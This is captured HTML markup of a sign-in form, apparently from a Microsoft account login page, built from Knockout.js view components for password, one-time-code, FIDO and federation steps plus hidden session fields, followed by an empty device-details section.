<form data-bind="postRedirectForm: postRedirect"></form>

Name: f1POST

<form name="f1" id="i0281" novalidate="novalidate" spellcheck="false" method="post" target="_top" autocomplete="off"
  data-bind="visible: !isLoginPageHidden(), autoSubmit: forceSubmit, attr: { action: postUrl }, ariaHidden: !!activeDialog(), css: { 'provide-min-height': svr.fUseMinHeight }">
  <!-- ko withProperties: { '$loginPage': $data } -->
  <div class="login-paginated-page" data-bind="component: { name: 'master-page',
        publicMethods: masterPageMethods,
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }">
    <!-- ko if: svr.fShowCookieBanner -->
    <!-- ko component: "cookie-banner-control" --><!-- /ko -->
    <!-- /ko -->
    <div class="lightbox-cover" data-bind="css: { 'disable-lightbox': svr.fAllowGrayOutLightBox &amp;&amp; showLightboxProgress() }"></div>
    <!-- ko if: showLightboxProgress -->
    <div id="progressBar" class="progress" role="progressbar" data-bind="component: 'marching-ants-control', ariaLabel: str['WF_STR_ProgressText']"></div>
    <!-- /ko -->
    <!-- ko if: loadBannerLogo -->
    <div data-bind="component: { name: 'logo-control',
            params: {
                isChinaDc: svr.fIsChinaDc,
                bannerLogoUrl: bannerLogoUrl() } }">
    </div>
    <!-- /ko -->
    <!-- ko if: svr.strLWADisclaimerMsg && paginationControlHelper.showLwaDisclaimer() -->
    <div id="LWADisclaimer" class="text-caption" data-bind="text: svr.strLWADisclaimerMsg"></div>
    <!-- /ko -->
    <!-- ko if: asyncInitReady -->
    <div role="main" data-bind="component: { name: 'pagination-control',
            publicMethods: paginationControlMethods,
            params: {
                enableCssAnimation: svr.fEnableCssAnimation,
                disableAnimationIfAnimationEndUnsupported: svr.fDisableAnimationIfAnimationEndUnsupported,
                initialViewId: initialViewId,
                currentViewId: currentViewId,
                initialSharedData: initialSharedData,
                initialError: $loginPage.getServerError() },
            event: {
                cancel: paginationControl_onCancel,
                load: paginationControlHelper.onLoad,
                unload: paginationControlHelper.onUnload,
                loadView: view_onLoadView,
                showView: view_onShow,
                setLightBoxFadeIn: view_onSetLightBoxFadeIn,
                animationStateChange: paginationControl_onAnimationStateChange } }">
      <div data-viewid="1" data-showfedcredbutton="true" data-bind="pageViewComponent: { name: 'login-paginated-username-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    prefillNames: $loginPage.prefillNames,
                    flowToken: sharedData.flowToken,
                    availableSignupCreds: sharedData.availableSignupCreds,
                    customStrings: $loginPage.customStrings(),
                    isCustomizationFailure: $loginPage.isCustomStringsLoadFailure(), 
                    userIdLabel: $loginPage.userIdLabel,
                    cantAccessYourAccountText: $loginPage.cantAccessYourAccountText,
                    hideAccountResetCredentials: $loginPage.hideAccountResetCredentials,
                    accessRecoveryLink: $loginPage.accessRecoveryLink,
                    boilerPlateText: $loginPage.boilerPlateText },
                event: {
                    restoreIsRecoveryAttemptPost: $loginPage.view_onRestoreIsRecoveryAttemptPost,
                    redirect: $loginPage.view_onRedirect,
                    updateDFPUrl: $loginPage.view_onUpdateDFPUrl,
                    setPendingRequest: $loginPage.view_onSetPendingRequest,
                    registerDialog: $loginPage.view_onRegisterDialog,
                    unregisterDialog: $loginPage.view_onUnregisterDialog,
                    showDialog: $loginPage.view_onShowDialog,
                    updateAvailableCredsWithoutUsername: $loginPage.view_onUpdateAvailableCreds,
                    agreementClick: $loginPage.footer_agreementClick } }">
      </div>
      <!-- ko ifnot: svr.fUsePromotedFedCredTypesArray -->
      <div data-viewid="57" data-bind="pageViewComponent: { name: 'login-signup-username-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken,
                    customStrings: $loginPage.customStrings(),
                    isCustomizationFailure: $loginPage.isCustomStringsLoadFailure() },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <!-- /ko -->
      <!-- ko if: svr.fUsePromotedFedCredTypesArray -->
      <div data-viewid="57" data-showsignupfedcredbutton="true" data-bind="pageViewComponent: { name: 'login-signup-username-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken,
                    customStrings: $loginPage.customStrings(),
                    isCustomizationFailure: $loginPage.isCustomStringsLoadFailure() },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <!-- /ko -->
      <div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-paginated-password-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    hipRequiredForUsername: sharedData.hipRequiredForUsername,
                    passwordBrowserPrefill: sharedData.passwordBrowserPrefill,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
                    flowToken: sharedData.flowToken,
                    defaultKmsiValue: svr.iDefaultLoginOptions === 1,
                    userTenantBranding: sharedData.userTenantBranding,
                    sessions: sharedData.sessions,
                    callMetadata: sharedData.callMetadata,
                    supportsNativeCredentialRecovery: sharedData.supportsNativeCredentialRecovery,
                    forgotPasswordText: $loginPage.forgotPasswordText,
                    accessRecoveryLink: $loginPage.accessRecoveryLink,
                    boilerPlateText: $loginPage.boilerPlateText,
                    hideAccountResetCredentials: $loginPage.hideAccountResetCredentials },
                event: {
                    restoreIsRecoveryAttemptPost: $loginPage.view_onRestoreIsRecoveryAttemptPost,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    redirect: $loginPage.view_onRedirect,
                    resetPassword: $loginPage.passwordView_onResetPassword,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <!-- ko if: svr.fIsQrCodePinSupported -->
      <div data-viewid="85" data-showidentitybanner="true" data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-paginated-qr-code-pin-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    qrCodeData: sharedData.qrCodeData },
                event: {
                    submitReady: $loginPage.view_onSubmitReady } }">
      </div>
      <!-- /ko -->
      <div data-viewid="56" data-showidentitybanner="true" data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-access-pass-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    unsafe_username: sharedData.username,
                    unsafe_displayName: sharedData.displayName,
                    availableCreds: sharedData.availableCreds,
                    flowToken: sharedData.flowToken,
                    isTapRestrictedWsi: sharedData.isTapRestrictedWsi },
                event: {
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="63" data-showqrcodesigninbutton="true" data-bind="pageViewComponent: { name: 'search-organization-view',
                params: {
                    serverData: svr },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="44" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-proof-confirmation-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    currentCred: sharedData.otcCredential,
                    flowToken: sharedData.flowToken },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="3" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-paginated-otc-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    otcParams: sharedData.otcParams,
                    preferredCredential: sharedData.preferredCredential,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
                    currentCred: sharedData.otcCredential,
                    proofConfirmation: sharedData.proofConfirmation,
                    defaultKmsiValue: svr.iDefaultLoginOptions === 1,
                    flowToken: sharedData.flowToken,
                    isSignup: sharedData.isSignupPost,
                    customStrings: $loginPage.customStrings(),
                    isCustomizationFailure: $loginPage.isCustomStringsLoadFailure() },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="77" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-paginated-otc-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    otcParams: sharedData.recoveryCredentialsData.otcParams,
                    preferredCredential: sharedData.recoveryCredentialsData.preferredCredential,
                    availableCreds: sharedData.recoveryCredentialsData.availableRecoveryCreds,
                    currentCred: sharedData.recoveryCredentialsData.otcCredential,
                    proofConfirmation: sharedData.proofConfirmation,
                    flowToken: sharedData.flowToken,
                    isNativeRecovery: true },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="4" data-dynamicbranding="true" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-remote-ngc-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    remoteNgcParams: sharedData.remoteNgcParams,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
                    defaultKmsiValue: svr.iDefaultLoginOptions === 1,
                    sessions: sharedData.sessions,
                    flowToken: sharedData.flowToken,
                    idpRedirectUrl: sharedData.idpRedirectUrl },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    updateRemoteNgcParams: $loginPage.view_onUpdateRemoteNgcParams,
                    submitReady: $loginPage.view_onSubmitReady,
                    setBackButtonState: view_onSetIdentityBackButtonState } }">
      </div>
      <div data-viewid="52" data-dynamicbranding="true" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'remote-connect-canary-validation-view',
                params: {
                    serverData: svr,
                    postCanaryValidationAction: $loginPage.postCanaryValidationAction },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setBackButtonState: view_onSetIdentityBackButtonState } }">
      </div>
      <div data-viewid="5" data-bind="pageViewComponent: { name: 'login-phone-disambiguation-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    location: sharedData.location,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="6" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-paginated-lwa-consent-view',
                params: {
                    serverData: svr,
                    username: sharedData.username,
                    displayName: sharedData.displayName },
                event: {
                    submitReady: $loginPage.view_onSubmitReady } }">
      </div>
      <div data-viewid="7" data-bind="pageViewComponent: { name: 'login-idp-disambiguation-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName,
                    hasInitialError: sharedData.hasIdpDisambigError,
                    sessions: sharedData.sessions,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    idpRedirectUrl: sharedData.idpRedirectUrl,
                    idpRedirectPostParams: sharedData.idpRedirectPostParams,
                    preferredCredential: sharedData.preferredCredential,
                    desktopSsoExecuted: sharedData.desktopSsoExecuted,
                    desktopSsoEnabled: sharedData.desktopSsoEnabled },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="8" data-bind="pageViewComponent: { name: 'login-idp-redirect-view',
                params: {
                    serverData: svr,
                    idpRedirectUrl: sharedData.idpRedirectUrl,
                    idpRedirectPostParams: sharedData.idpRedirectPostParams,
                    idpRedirectProvider: sharedData.idpRedirectProvider },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="41" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-idp-redirect-speedbump-view',
                params: {
                    serverData: svr,
                    username: sharedData.username,
                    idpRedirectUrl: sharedData.idpRedirectUrl,
                    idpRedirectPostParams: sharedData.idpRedirectPostParams,
                    idpRedirectProvider: sharedData.idpRedirectProvider,
                    isInitialView: isInitialState,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
                    flowToken: sharedData.flowToken },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="12" data-bind="pageViewComponent: { name: 'tiles-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    sessions: sharedData.sessions,
                    flowToken: sharedData.flowToken,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    isTileRequestPending: $loginPage.asyncTileRequestCount > 0,
                    availableSignupCreds: sharedData.availableSignupCreds },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="10" data-wide="true" data-hidelogo="true" data-hidelwadisclaimer="true" data-hidepageleveltitleanddesc="true" data-bind="pageViewComponent: { name: 'login-view-agreement-view',
                    params: {
                        serverData: svr,
                        agreementType: $loginPage.agreementType } }">
      </div>
      <div data-viewid="49" data-wide="true" data-hidelogo="true" data-hidelwadisclaimer="true" data-hidepageleveltitleanddesc="true" data-bind="pageViewComponent: { name: 'login-view-learn-more-offline-account-view',
                    params: {
                        serverData: svr } }">
      </div>
      <div data-viewid="74" data-hidelogo="true" data-hidelwadisclaimer="true" data-hidepageleveltitleanddesc="true" data-bind="pageViewComponent: { name: 'web-native-bridge-view',
                    params: {
                        serverData: svr,
                        request: sharedData.request,
                        flowToken: sharedData.flowToken,
                        reprocessGct: true },
                    event: {
                        executeGctResult: $loginPage.fetchSessions_onExecuteGctResult,
                        redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="70" data-hidepageleveltitleanddesc="true" data-bind="pageViewComponent: { name: 'see-how-data-is-managed-view',
                    params: {
                        serverData: svr } }">
      </div>
      <div data-viewid="13" data-showidentitybanner="true" data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-confirm-send-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    preferredCredential: sharedData.preferredCredential,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    currentCred: sharedData.otcCredential,
                    sessions: sharedData.sessions,
                    flowToken: sharedData.flowToken },
                event: {
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    redirect: $loginPage.view_onRedirect,
                    setBackButtonState: view_onSetIdentityBackButtonState } }">
      </div>
      <div data-viewid="15" data-hidelwadisclaimer="true" data-bind="pageViewComponent: { name: 'login-remote-login-polling-view',
                params: {
                    serverData: svr,
                    autoSendOtcRequest: isInitialState,
                    userCode: sharedData.remoteLoginUserCode,
                    deviceCode: sharedData.remoteLoginDeviceCode },
                event: {
                    submitReady: $loginPage.view_onSubmitReady } }">
      </div>
      <div data-viewid="11" data-hidelogo="true" data-hidelwadisclaimer="true" data-bind="pageViewComponent: { name: 'login-learn-more-view',
                    params: {
                        serverData: svr,
                        command: 'loginlearnmore' } }">
      </div>
      <div data-viewid="19" data-bind="pageViewComponent: { name: 'login-reset-password-splitter-view',
                params: {
                    serverData: svr },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <!-- ko if: svr.fIsQrCodePinSupported -->
      <div data-viewid="84" data-bind="pageViewComponent: { name: 'login-qr-code-scan-view',
                params: {
                    serverData: svr,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken,
                    qrCodePinParams: sharedData.qrCodePinParams },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <!-- /ko -->
      <div data-viewid="55" data-bind="pageViewComponent: { name: 'fetch-sessions-progress-view',
                params: {
                    serverData: svr,
                    sessionPullType: $loginPage.sessionPullType,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    unsafe_desktopSsoDomainToUse: sharedData.unsafe_desktopSsoDomainToUse,
                    preferredCredential: sharedData.preferredCredential,
                    isPushNotification: sharedData.remoteNgcParams.defaultType === 1 },
                event: {
                    updateUserTiles: $loginPage.fetchSessions_onUpdateUserTiles,
                    executeGctResult: $loginPage.fetchSessions_onExecuteGctResult,
                    submitReady: $loginPage.view_onSubmitReady,
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="23" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-fido-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    allowList: sharedData.fidoParams.allowList,
                    challenge: sharedData.flowToken,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    flowToken: sharedData.flowToken,
                    sessions: sharedData.sessions },
                event: {
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    redirect: $loginPage.view_onRedirect,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setLoginPageHiddenState: $loginPage.view_onSetLoginPageHiddenState} }">
      </div>
      <div data-viewid="24" data-bind="pageViewComponent: { name: 'login-credential-picker-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    isUserKnown: !!sharedData.displayName,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    flowToken: sharedData.flowToken },
                event: {
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    redirect: $loginPage.view_onRedirect,
                    setPendingRequest: $loginPage.view_onSetPendingRequest,
                    registerDialog: $loginPage.view_onRegisterDialog,
                    unregisterDialog: $loginPage.view_onUnregisterDialog,
                    showDialog: $loginPage.view_onShowDialog } }">
      </div>
      <div data-viewid="27" data-bind="pageViewComponent: { name: 'login-confirm-signup-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="80" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-certificate-interstitial-view',
                params: {
                    serverData: svr,
                    availableCreds: sharedData.availableCreds,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="28" data-bind="pageViewComponent: { name: 'login-confirm-recover-username-view',
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    displayName: sharedData.displayName },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <!-- ko if: svr.fShowUserAlreadyExistErrorHandling || svr.fBlockOnAppleEmailClaimError -->
      <div data-viewid="82" data-bind="pageViewComponent: { name: 'login-signup-blocked-view',
                params: {
                    serverData: svr,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken,
                    username: sharedData.username },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <!-- /ko -->
      <div data-viewid="30" data-bind="pageViewComponent: { name: 'login-fed-conflict-view',
                params: {
                    serverData: svr },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="54" data-bind="pageViewComponent: { name: 'login-proof-fed-conflict-view',
                params: {
                    serverData: svr },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="51" data-bind="pageViewComponent: { name: 'login-aad-fed-conflict-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="38" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-fed-link-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    otherIdpRedirectUrl: sharedData.otherIdpRedirectUrl,
                    flowToken: sharedData.flowToken },
                event: {
                    redirect: $loginPage.view_onRedirect,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">
      </div>
      <div data-viewid="50" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-tenant-disambiguation-view',
                params: {
                    serverData: svr,
                    unsafe_username: sharedData.username,
                    unsafe_displayName: sharedData.displayName,
                    tenantList: sharedData.tenantList },
                event: {
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    submitReady: $loginPage.view_onSubmitReady } }">
      </div>
      <div data-viewid="61" data-bind="pageViewComponent: { name: 'login-credential-picker-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    isSignup: true,
                    availableCreds: sharedData.availableSignupCreds },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="76" data-bind="pageViewComponent: { name: 'login-credential-picker-view',
                params: {
                    serverData: svr,
                    isInitialView: isInitialState,
                    availableCreds: sharedData.recoveryCredentialsData.availableRecoveryCreds },
                event: {
                    redirect: $loginPage.view_onRedirect } }">
      </div>
      <div data-viewid="66" data-bind="pageViewComponent: { name: 'login-remote-connect-location-view',
                params: {
                    serverData: svr } }">
      </div>
      <div data-viewid="59" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'more-info-view',
                params: {
                    serverData: svr,
                    moreInfoTitle: str['CT_WSI_WebSignIn_RestrictedToTapHeader'],
                    moreInfo: str['CT_WSI_WebSignIn_RestrictedToTapError'],
                    showErrorText: true,
                    isInitialView: isInitialState } }">
      </div>
      <!-- ko if: svr.fIsVerifiableCredentialsSupportEnabled -->
      <div data-viewid="83" data-dynamicbranding="true" data-showidentitybanner="true" data-bind="pageViewComponent: { name: 'login-verifiable-credential-presentation-view',
                params: {
                    availableCreds: sharedData.availableCreds,
                    serverData: svr,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    flowToken: sharedData.flowToken },
                event: {
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    submitReady: $loginPage.view_onSubmitReady,
                    setPendingRequest: $loginPage.view_onSetPendingRequest }}">
      </div>
      <!-- /ko -->
    </div>
    <!-- /ko -->
    <input type="hidden" name="ps" data-bind="value: postedLoginStateViewId">
    <input type="hidden" name="psRNGCDefaultType" data-bind="value: postedLoginStateViewRNGCDefaultType">
    <input type="hidden" name="psRNGCEntropy" data-bind="value: postedLoginStateViewRNGCEntropy">
    <input type="hidden" name="psRNGCSLK" data-bind="value: postedLoginStateViewRNGCSLK">
    <!-- ko if: svr.sCanaryTokenName && !svr.fSkipRenderingNewCanaryToken -->
    <input type="hidden" data-bind="attr: { name: svr.sCanaryTokenName }, value: svr.canary">
    <!-- /ko -->
    <!-- ko if: !svr.sCanaryTokenName || svr.fSkipRenderingNewCanaryToken -->
    <input type="hidden" name="canary" data-bind="value: svr.canary">
    <!-- /ko -->
    <input type="hidden" name="ctx" data-bind="value: ctx">
    <input type="hidden" name="hpgrequestid" data-bind="value: svr.sessionId">
    <input type="hidden" id="i0327" data-bind="attr: { name: svr.sFTName }, value: flowToken">
    <input type="hidden" name="PPSX" data-bind="value: svr.sRandomBlob">
    <input type="hidden" name="NewUser" value="1">
    <input type="hidden" name="FoundMSAs" data-bind="value: svr.sFoundMSAs">
    <input type="hidden" name="fspost" data-bind="value: svr.fPOST_ForceSignin ? 1 : 0">
    <input type="hidden" name="i21" data-bind="value: wasLearnMoreShown() ? 1 : 0">
    <input type="hidden" name="CookieDisclosure" data-bind="value: svr.fShowCookieBanner ? 1 : 0">
    <input type="hidden" name="IsFidoSupported" data-bind="value: isFidoSupported() ? 1 : 0">
    <input type="hidden" name="isSignupPost" data-bind="value: isSignupPost() ? 1 : 0">
    <!-- ko ifnot: svr.fShouldSupportTargetCredentialForRecovery -->
    <input type="hidden" name="isRecoveryAttemptPost" data-bind="value: isRecoveryAttemptPost() ? 1 : 0">
    <!-- /ko -->
    <!-- ko if: svr.fEnableDFPIntegration -->
    <input type="hidden" name="DfpArtifact" data-bind="value: dfpResult()">
    <!-- /ko -->
    <!-- ko if: svr.fShouldSupportTargetCredentialForRecovery && targetCredentialForRecovery() -->
    <input type="hidden" name="targetCredentialForRecovery" data-bind="value: targetCredentialForRecovery()">
    <!-- /ko -->
    <div data-bind="component: { name: 'instrumentation-control',
            publicMethods: instrumentationMethods,
            params: { serverData: svr } }">
    </div>
  </div>
  <!-- /ko -->
</form>

<form data-bind="postRedirectForm: postRedirect"></form>

Text Content

App name:
Device platform:
Device state:
IP address:
Signed in as:








App name:
Device platform:
Device state:
IP address:
Signed in as: